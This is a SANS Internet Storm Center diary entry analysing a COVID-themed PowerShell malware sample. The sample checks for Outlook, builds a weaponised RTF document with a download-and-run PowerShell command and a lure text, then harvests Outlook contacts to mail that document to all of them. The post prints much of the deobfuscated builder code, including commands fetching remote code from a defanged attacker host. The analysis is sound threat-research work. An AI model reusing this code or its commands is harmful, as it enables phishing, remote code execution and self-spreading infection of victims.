isc.sans.orgSANS Internet Storm Center

Threat Level: green Handler on Duty: Guy Bruneau SANS ISC: SANS Site Network Current Site Other SANS Sites Help Graduate Degree Programs Security Training Security Certification Security Awareness Training Penetration Testing Industrial Control Systems Cyber Defense Foundations DFIR Software Security Government OnSite Training Sign Up for Free! Forgot Password? Log In or Sign Up for Free ! Help us find Covid19 related scams using our domain classifier tool . Last Daily Podcast (Fri, Apr 17th): Applocker vs LOTL; Netlink GPON 0Day; Windows Security Crash; Bad Gems; vCenter Exploit Latest Diaries Weaponized RTF Document Generator & Mailer in PowerShell Published : 2020-04-17 Last Updated : 2020-04-17 10:35:19 UTC by Xavier Mertens (Version: 1) 0 comment(s) Another piece of malicious PowerShell script that I found while hunting. Like many malicious activities that occur in those days, it is related to the COVID19 pandemic. Its purpose of simple: It checks if Outlook is used by the victim and, if it’s the case, it generates a malicious RTF document that is spread to all contacts extracted from Outlook. Let’s have a look at it. The script is available on VT (SHA256: 1f7f0d75fe5dace66ec9b5935d28ba02765527f09f58345c2e33e17ab4c91bd7) and has a low score of 8/60[ 1 ]. First, it performs malicious activity only if Outlook is available on the victim’s computer: if((get-childitem C:\Users\$env:username\AppData\Local\Microsoft\Outlook).count -gt 1) { ... } If the test is successful, a malicious RTF document is generated and dumped on disk (’urgent.doc’). Here is the beautified code. Most of the code was compressed and Base64-encoded. $gdoc_cmd=’cmd /c powershell IEx(New-Object Net.WebClient)."DownLoadString"(’’hxxp://t[.]awcna[.]com/mail.jsp?%username%*%computername%’’)’ $dde_cmd=’powershell IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString(’’hxxp://t[.]awcna[.]com/mail.jsp?dde*%username%*%computername%’’)&’ $att=$env:tmp+"\urgent.doc" $gdoc_title=’PROTECTED DOCUMENT’ $gdoc_text=’This file is protected by Microsoft Office.Please enable Editing and Content to see this document.’ function str2hex($str) { -join([Text.Encoding]::UTF8.getbytes($str)|foreach{$_.ToString(’x2’)}) } function u162hex($str){ -join([Text.Encoding]::Unicode.getbytes($str)|foreach{$_.ToString(’x2’)}) } function int2hex($num){ [bitconverter]::ToString([BitConverter]::getBytes([int32]$num)).replace("-","").tolower() } $cmd=$gdoc_cmd.replace("’","\’") $filename=-join([char[]](48..57+65..90+97..122)|Get-Random -Count 15)+".sct" $filename="7UFNDWH1X5OPDY1.sct" $fakepath="C:\fakepath\$filename" $data=@" ?XML version="1.0"? scriptlet registration description="fjzmpcjvqp" prog version="1.00" class remotable="true" /registration script language="JScript" ![CDATA[ new ActiveXObject("WScript.Shell").Run(’$cmd’,0,1);window.close(); ]] /script /scriptlet "@.trim()-replace"r","" $package_data="0200"+(str2hex $filename)+"00"+(str2hex $fakepath)+"0000000300"+(int2hex ($fakepath.length+1))+ \ (str2hex $fakepath)+"00"+(int2hex $data.length)+(str2hex $data)+(int2hex $fakepath.length)+ \ (u162hex $fakepath)+(int2hex $filename.length)+(u162hex $filename)+(int2hex $fakepath.length)+(u162hex $fakepath) $header_data="0105000002000000080000005061636b616765000000000000000000"+(int2hex ($package_data.length/2)) $package="{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "+$header_data+$package_data+"0105000000000000}}" $rtf=$(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream.(,$([Convert]::FromBase64String(’ 7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGA \ qsgfP358Hz8ifvEv/n3r9hfv/BL6WU1+Op+2+JGt27JYvsWv69Usa3P69lv4a1pmTZN+t6pn46fVdL3Il+344Jf8EvM1Nc3Snd2d+zt49nbkeSg/9p/tn+zf \ v7e3f/Lpw09PP32i34bPMf55unPybHf3dOd498nu7vHpbrSl99w7xT87O89Onz3j3j4daGgg9SDqBwZj/RPw8HRbP/vR86Pn/yfP/yuH8VR/qvz1fv7o+dHz \ o+cbef7fCOQ+2eFPn8n/H+yLWd4nn+LTU/n7AX3wQL2Kn41nF/7D/b6dt/4BexvuOQne3h/yPnYe7Ow//fTk+NN7D57cf7pHXoaD4iDj2YW3ROMlwJ/edx// \ 0B54YXvDfs6N77/ns9v1yO7p+MEHhMv+Q5n7Tz8VnvjZfnYxG5gfg5XO0zc+/n392eUYjB9zb8b95GePBl2U8OwCrx/G/CtvP3nQ+dzQ3UiFoX/HD7B00/d/ \ 5B/86PnR837P/xtbq/zvmcxBP14PH2t/H95gl50+udF+7x7LX3v37+/vP72Pnye/ePeX0CekkI+fPj2Vr29+7h3oT0+Z7ZHiu09Kdv+p6ED+m7D4xXu/5OTT \ 42fHT05Pdh8+ePZ0b5d+HHBXzw4e3H9wuqdY3f6xNP2UqON5GUM+i23feR6S9f10x/Nd3vPZxXyC6k9vbPqj54f4/NC6MllBfX4JP79x8v8A’)))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd() -f $package,(str2hex $filename),(u162hex $filename) $rtf_header=" \ {\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang103 \ 3\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 020206030 \ 50405020304}Times New Roman;} {\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\’cb\’ce\’cc\’e5{\*\falt SimSun};}{\f34\fbidi \froman\ \ fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;} ... \fs21\lang1033\langfe2052\kerning2\loch\af31506\hich\af31506\dbch\af31505\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af3 \ 1507\afs60 \ltrch\fcs0 \b\fs60\insrsid338069 \hich\af31506\dbch\af31505\loch\f31506 AAAAAAAA}{\rtlch\fcs1 \af31507\afs60 \ \ltrch\fcs0 \b\fs60\insrsid859070\charrsid859070\par }{\rtlch\fcs1 \af31507 \ltrch\fcs0 \lang1024\langfe1024\noproof\insr \ sid338069 {\shp{\*\shpinst\shpleft397\shptop564\shpright8667\shpbottom4384\shpfhdr0\shpbxcolumn\shpbxignore\shpbypara\shp \ byignore\shpwr3\shpwrk0\shpfblwtxt0\shpz0\shplid1026 ... \hich\af31506\dbch\af31505\loch\f31506 BBBBBBBB}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid859070 ... \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \hich\af31506\dbch\af31505\loch\f31506 C:\\\\Programs \ \\\\Microsoft\\\\Office}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827 \\\\\hich\af31506\dbch\af31505\l \ och\f31506 12}{\rtlch\fcs1 \af31507\afs28 \ltrch\fcs0 \fs28\cf6\insrsid7149827\charrsid7149827 \\\\\hich\af31506\dbch\af3 \ 1505\loch\f31506 MSWord\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\system32\\\\cmd.exe /c}{\rtlch\fcs1 \af31507\afs28 \l \ trch\fcs0\fs28\cf6\insrsid7149827 \hich\af31506\dbch\af31505\loch\f31506 calc.exe" }{\rtlch\fcs1 \af31507\afs28 \ltrch\f \ cs0 \fs28\cf6\insrsid748411 \hich\af31506\dbch\af31505\loch\f31506 "Microsoft Office Remote \hich\af31506\dbch\af31505\lo \ ch\f31506 Database" } ... \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority31 \lsdlocked0 Subtle Reference;\lsdsemihidden0 \lsdunhideused0 \ \lsdqformat1 \lsdpriority32 \lsdlocked0 Intense Reference;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority33 \ls \ dlocked0 Book Title;\lsdpriority37 \lsdlocked0 Bibliography;\lsdqformat1 \lsdpriority39 \lsdlocked0 TOC Heading;}}" .replace("AAAAAAAA",$gdoc_title).replace("BBBBBBBB",$gdoc_text).replace("calc.exe",$dde_cmd) ($rtf_header+$rtf.substring(3))|out-file -encoding ascii $att The code is much more longer but I kept only the relevant part where the attacker replaces ’AAAAAAAA’ by the document title, ’BBBBBBBB’ by some juicy text and finally the ’calc.exe’ command by his own malicious recipe (a Powershell script). The generated document (SHA256:88917f08fd169a257de0a015e83dcc11a41f5a87138d66a79e98b078bf804939) has a VT score of 31/59 on VT[ 2 ] and here is how it looks when opened: Once the document generated, it is sent to all contacts found in Outlook: $global:contacts=@() $curr_date=Get-Date -Format "yyyy-MM-dd" # Extract email addresses function get_contacts($ol_folders) { $folders=$ol_folders.folders if($folders.count -ge 1){ foreach($folder in $folders) { get_contacts($folder) } } foreach($item in $ol_folders.items) { $global:contacts+=$item.Email1Address } } # Cover our tracks and delete sent emails function...